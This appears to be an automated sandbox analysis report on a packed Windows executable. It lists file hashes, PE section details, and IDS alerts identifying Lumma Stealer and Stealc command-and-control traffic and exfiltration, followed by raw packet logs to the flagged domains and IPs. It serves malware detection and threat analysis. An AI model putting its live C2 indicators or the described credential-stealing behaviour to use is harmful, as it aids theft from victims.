Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +......d+...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...hbdyruff. .........h..............@...jiwaszqf. ..........n.............@....taggant.@......"...r*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948580414814333
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Qmg24kMXxU.exe
File size:	1'902'592 bytes
MD5:	ebc8ee2571051c972257a5a46feff86f
SHA1:	9ea7d00344c07d9ad2c75e9dae5204fdb1851c68
SHA256:	c4396fe392517c74d80dd64ca396bc344f5197bf3116a040f4f67d7cf49f6e54
SHA512:	5c504ab8b5e03c320bb3940ccc449bada9846b1db608e4d299404f1b92ba0b4a2431cd80ca59f3fd95787d487b61fc02e71caffb7798e69ae124770242c6601a
SSDEEP:	49152:V4VylslkEBSplzzRNUgVQgThLraGKw96:VdlsVBSntNFLT9OG596
TLSH:	7A95333F74B231CFE85B85F5BBCB4A8336097A8549D2FF1C11110BC689525AD66E90F8
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................K...........@..........................0K.....}.....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F95D919773Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	36a1b9b2cc13fdb220e80d78901eaa0e	False	0.9973779965753424	data	7.978340604782054	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2b2000	0x200	220c732f2b009416ae3c0fb0fa841dcf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
iatfuzvm	0x306000	0x1a9000	0x1a8400	d61a0b56227f1ad9516f3ffe57e166f3	False	0.99424305760165	data	7.953895944690865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rnipyvgm	0x4af000	0x1000	0x400	e4a2d8cbe915bd74cb5245a99fa22ce7	False	0.7548828125	data	6.055504418642513	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b0000	0x3000	0x2200	db138544c674e639cd397188412aa96b	False	0.0625	DOS executable (COM)	0.8191593072652176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T16:19:20.423026+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	50602	1.1.1.1	53	UDP
2024-12-20T16:19:20.609340+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	59610	1.1.1.1	53	UDP
2024-12-20T16:19:20.771232+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.6	58159	1.1.1.1	53	UDP
2024-12-20T16:19:22.341511+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49727	172.67.197.170	443	TCP
2024-12-20T16:19:22.341511+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49727	172.67.197.170	443	TCP
2024-12-20T16:19:24.508840+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49727	172.67.197.170	443	TCP
2024-12-20T16:19:24.508840+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49727	172.67.197.170	443	TCP
2024-12-20T16:19:25.750317+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49738	172.67.197.170	443	TCP
2024-12-20T16:19:25.750317+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49738	172.67.197.170	443	TCP
2024-12-20T16:19:26.675886+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49738	172.67.197.170	443	TCP
2024-12-20T16:19:26.675886+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49738	172.67.197.170	443	TCP
2024-12-20T16:19:28.401604+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49748	172.67.197.170	443	TCP
2024-12-20T16:19:28.401604+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49748	172.67.197.170	443	TCP
2024-12-20T16:19:29.804503+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49748	172.67.197.170	443	TCP
2024-12-20T16:19:31.245703+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49754	172.67.197.170	443	TCP
2024-12-20T16:19:31.245703+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49754	172.67.197.170	443	TCP
2024-12-20T16:19:37.162825+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49779	172.67.197.170	443	TCP
2024-12-20T16:19:37.162825+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49779	172.67.197.170	443	TCP
2024-12-20T16:19:40.984571+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49792	172.67.197.170	443	TCP
2024-12-20T16:19:40.984571+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49792	172.67.197.170	443	TCP
2024-12-20T16:19:45.387730+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49807	172.67.197.170	443	TCP
2024-12-20T16:19:45.387730+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49807	172.67.197.170	443	TCP
2024-12-20T16:19:51.236589+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49821	172.67.197.170	443	TCP
2024-12-20T16:19:51.236589+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49821	172.67.197.170	443	TCP
2024-12-20T16:19:52.359430+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49821	172.67.197.170	443	TCP
2024-12-20T16:19:53.832587+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49828	185.215.113.16	80	TCP
2024-12-20T16:20:07.911302+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49858	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:19:21.116405964 CET	49727	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:21.116449118 CET	443	49727	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:21.116662025 CET	49727	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:21.121902943 CET	49727	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:21.121939898 CET	443	49727	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:22.341336012 CET	443	49727	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:22.341511011 CET	49727	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:22.373368979 CET	49727	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:22.373394012 CET	443	49727	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:22.373703003 CET	443	49727	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:22.427092075 CET	49727	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:22.807523966 CET	49727	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:22.807523966 CET	49727	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:22.807784081 CET	443	49727	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:24.508852959 CET	443	49727	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:24.508939981 CET	443	49727	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:24.509211063 CET	49727	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:24.512119055 CET	49727	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:24.512140036 CET	443	49727	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:24.529802084 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:24.529844999 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:24.529917955 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:24.530333996 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:24.530350924 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:25.750214100 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:25.750317097 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:25.752123117 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:25.752134085 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:25.752419949 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:25.753710985 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:25.753710985 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:25.753778934 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.675956964 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.676084042 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.676153898 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.676165104 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.676192999 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.676238060 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.676271915 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.676424980 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.676485062 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.676496983 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.683729887 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.683779955 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.683785915 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.692212105 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.692276001 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.692287922 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.692313910 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.692423105 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.795777082 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.848581076 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.868443012 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.872509956 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.872540951 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.872581959 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.872594118 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.872636080 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.872647047 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.872747898 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.872889996 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.872904062 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:26.872915030 CET	49738	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:26.872920036 CET	443	49738	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:27.151547909 CET	49748	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:27.151588917 CET	443	49748	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:27.151649952 CET	49748	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:27.152034044 CET	49748	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:27.152049065 CET	443	49748	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:28.401504993 CET	443	49748	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:28.401603937 CET	49748	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:28.403069973 CET	49748	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:28.403080940 CET	443	49748	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:28.403706074 CET	443	49748	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:28.405215025 CET	49748	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:28.405339003 CET	49748	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:28.405622959 CET	443	49748	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:29.804446936 CET	443	49748	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:29.804538965 CET	443	49748	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:29.804727077 CET	49748	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:29.805871964 CET	49748	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:29.805891037 CET	443	49748	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:29.990051031 CET	49754	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:29.990123987 CET	443	49754	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:29.990366936 CET	49754	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:29.990649939 CET	49754	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:29.990669012 CET	443	49754	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:31.245588064 CET	443	49754	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:31.245702982 CET	49754	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:31.246982098 CET	49754	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:31.246994972 CET	443	49754	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:31.247426033 CET	443	49754	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:31.248692036 CET	49754	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:31.248831034 CET	49754	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:31.248965979 CET	443	49754	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:31.249021053 CET	49754	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:31.295351028 CET	443	49754	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:35.558320045 CET	443	49754	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:35.558424950 CET	443	49754	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:35.558481932 CET	49754	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:35.558583975 CET	49754	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:35.558598995 CET	443	49754	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:35.932483912 CET	49779	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:35.932532072 CET	443	49779	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:35.932621956 CET	49779	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:35.933119059 CET	49779	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:35.933137894 CET	443	49779	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:37.162718058 CET	443	49779	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:37.162825108 CET	49779	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:37.164045095 CET	49779	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:37.164058924 CET	443	49779	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:37.164341927 CET	443	49779	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:37.166085958 CET	49779	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:37.166238070 CET	49779	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:37.166284084 CET	443	49779	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:37.166340113 CET	49779	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:37.166352987 CET	443	49779	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:39.180365086 CET	443	49779	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:39.180470943 CET	443	49779	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:39.180524111 CET	49779	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:39.180771112 CET	49779	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:39.180788040 CET	443	49779	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:39.768054962 CET	49792	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:39.768111944 CET	443	49792	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:39.768181086 CET	49792	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:39.768582106 CET	49792	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:39.768599033 CET	443	49792	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:40.984447002 CET	443	49792	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:40.984570980 CET	49792	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:40.985965967 CET	49792	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:40.985975981 CET	443	49792	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:40.986231089 CET	443	49792	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:40.987636089 CET	49792	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:40.987852097 CET	49792	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:40.987863064 CET	443	49792	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:43.098699093 CET	443	49792	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:43.098794937 CET	443	49792	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:43.098990917 CET	49792	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:43.099164009 CET	49792	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:43.099180937 CET	443	49792	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:44.171133995 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:44.171173096 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:44.171236992 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:44.171662092 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:44.171674013 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.387593031 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.387729883 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.389364958 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.389385939 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.389652967 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.391108990 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.391861916 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.391937017 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.392026901 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.392088890 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.392209053 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.392313957 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.392417908 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.392450094 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.393177032 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.393213987 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.393388033 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.393424034 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.393435955 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.393471003 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.393546104 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.393575907 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.393605947 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.393671036 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.393704891 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.439341068 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.439454079 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.439492941 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.439526081 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.487334967 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:45.487426043 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:45.535340071 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:49.968559980 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:49.968688011 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:49.968982935 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:49.969171047 CET	49807	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:49.969191074 CET	443	49807	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:50.016155005 CET	49821	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:50.016222000 CET	443	49821	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:50.016402006 CET	49821	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:50.016776085 CET	49821	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:50.016793013 CET	443	49821	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:51.236511946 CET	443	49821	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:51.236588955 CET	49821	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:51.237874031 CET	49821	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:51.237889051 CET	443	49821	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:51.238148928 CET	443	49821	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:51.239499092 CET	49821	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:51.239521027 CET	49821	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:51.239587069 CET	443	49821	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:52.359441996 CET	443	49821	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:52.359575033 CET	443	49821	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:52.359622955 CET	49821	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:52.359882116 CET	49821	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:52.359903097 CET	443	49821	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:52.359915972 CET	49821	443	192.168.2.6	172.67.197.170
Dec 20, 2024 16:19:52.359921932 CET	443	49821	172.67.197.170	192.168.2.6
Dec 20, 2024 16:19:52.362310886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:52.482907057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:52.483002901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:52.483211994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:52.602694035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.832420111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.832494020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.832505941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.832587004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:53.832811117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.832822084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.832861900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:53.832900047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.832912922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.832973957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:53.833437920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.833451033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:53.833492041 CET	49828	80	192.168.2.6	185.215.113.16
